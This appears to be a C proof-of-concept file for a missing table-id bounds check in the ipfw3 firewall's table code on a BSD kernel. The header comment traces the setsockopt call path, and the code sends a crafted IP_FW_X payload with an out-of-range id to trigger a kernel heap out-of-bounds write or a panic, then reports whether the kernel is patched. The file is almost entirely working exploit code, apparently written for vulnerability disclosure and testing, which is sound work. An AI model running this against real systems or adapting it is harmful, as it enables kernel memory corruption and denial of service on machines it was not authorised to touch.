DF-2580 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | /* * DF-2580 PoC โ ipfw3 table id bounds-check missing. * * Bug: sys/net/ipfw3_basic/ip_fw3_table.c โ every table_*_dispatch() does * table_ctx = ctx->table_ctx; table_ctx += ioc_table->id; * against ctx->table_ctx[IPFW_TABLES_MAX=32] with NO bounds check on the * signed `id`. id is a signed int read straight from the setsockopt payload. * An out-of-range id (>=32 or <0) produces a controlled kernel heap * out-of-bounds read/write at offset id*sizeof(struct ipfw3_table_context) * (= id*56 on amd64) from the table_ctx[] array base. * * Reach: setsockopt(raw_ip_socket, IPPROTO_IP, IP_FW_X=49, payload). * rip_ctloutput -> ip_fw3_sockopt -> ip_fw3_ctl_x strips a 4-byte * ip_fw_x_header {uint16 opcode, uint16 pad} from the payload, sets * sopt_name = opcode (e.g. 73 = IP_FW_TABLE_CREATE), and dispatches to * ip_fw3_ctl_table_sockopt -> ip_fw3_ctl_table_create -> netmsg -> * table_create_dispatch -> table_ctx += id (OOB). * * NOTE on privilege: rip_attach() requires caps_priv_check(SYSCAP_NONET_RAW), * i.e. creating a raw IP socket needs root (or a jail with allow_raw_sockets). * The bug path itself is therefore root-reachable; an unprivileged user * without a raw socket cannot enter it. This PoC must be run as root. * * Build: cc -o poc poc.c * Run: ./poc [opcode] [id] [type] * defaults: opcode=73 (CREATE) id=64 type=1 */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> /* IP_FW_X is the ipfw3 setsockopt selector (netinet/in.h: IP_FW_X = 49) */ #ifndef IP_FW_X #define IP_FW_X 49 #endif /* ipfw3 table opcodes (net/ipfw3/ip_fw3.h) */ #define OP_TABLE_CREATE 73 #define OP_TABLE_DELETE 74 #define OP_TABLE_APPEND 75 #define OP_TABLE_REMOVE 76 #define OP_TABLE_LIST 77 #define OP_TABLE_FLUSH 78 #define OP_TABLE_SHOW 79 #define OP_TABLE_TEST 80 #define OP_TABLE_RENAME 81 /* ip_fw_x_header: 4-byte header stripped by ip_fw3_ctl_x */ struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; }; /* struct ipfw_ioc_table (net/ipfw3_basic/ip_fw3_table.h). The trailing * flexible ip_ent/mac_ent are zero-sized so this is the fixed head. */ #define IPFW_TABLE_NAME_LEN 32 struct ipfw_ioc_table { int id; int type; int count; char name[IPFW_TABLE_NAME_LEN]; }; int main(int argc, char **argv) { int opcode = (argc > 1) ? atoi(argv[1]) : OP_TABLE_CREATE; int id = (argc > 2) ? atoi(argv[2]) : 64; /* OOB: valid is 0..31 */ int type = (argc > 3) ? atoi(argv[3]) : 1; int s, rc; /* payload = 4-byte x_header + ipfw_ioc_table */ unsigned char buf[sizeof(struct ip_fw_x_header) + sizeof(struct ipfw_ioc_table)]; struct ip_fw_x_header *xh = (struct ip_fw_x_header *)buf; struct ipfw_ioc_table *tbl = (struct ipfw_ioc_table *)(buf + sizeof(*xh)); printf("[*] DF-2580 ipfw3 table id OOB\n"); printf("[*] opcode=%d id=%d type=%d (valid id range is 0..31)\n", opcode, id, type); printf("[*] OOB target byte offset = id * 56 = %d\n", id * 56); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("[-] socket(AF_INET,SOCK_RAW,IPPROTO_RAW)"); printf("[-] raw socket requires root (SYSCAP_NONET_RAW). errno=%d\n", errno); return 2; } printf("[+] raw socket opened fd=%d\n", s); memset(buf, 0, sizeof(buf)); xh->opcode = (uint16_t)opcode; xh->_pad = 0; tbl->id = id; tbl->type = type; tbl->count = 0; /* a recognizable marker string in the 32-byte name field that will be * written out-of-bounds via strlcpy in table_create_dispatch / rename */ memset(tbl->name, 'A', IPFW_TABLE_NAME_LEN - 1); tbl->name[IPFW_TABLE_NAME_LEN - 1] = '\0'; printf("[*] setsockopt(IPPROTO_IP, IP_FW_X=%d, opcode=%d, id=%d) ...\n", IP_FW_X, opcode, id); fflush(stdout); rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf)); if (rc < 0) { printf("[~] setsockopt returned %d errno=%d (%s)\n", rc, errno, strerror(errno)); if (errno == EINVAL) { printf("[+] EINVAL -> bounds check is present (FIXED kernel)\n"); } } else { printf("[!] setsockopt returned 0 (NO bounds check) โ OOB write happened\n"); } /* if we got here the kernel is still alive; for the crash variants * (FLUSH/DELETE/SHOW with a large id, or CREATE type=1 with a very large * id) the kernel will panic inside the dispatch and never return. */ close(s); printf("[*] done\n"); return 0; } |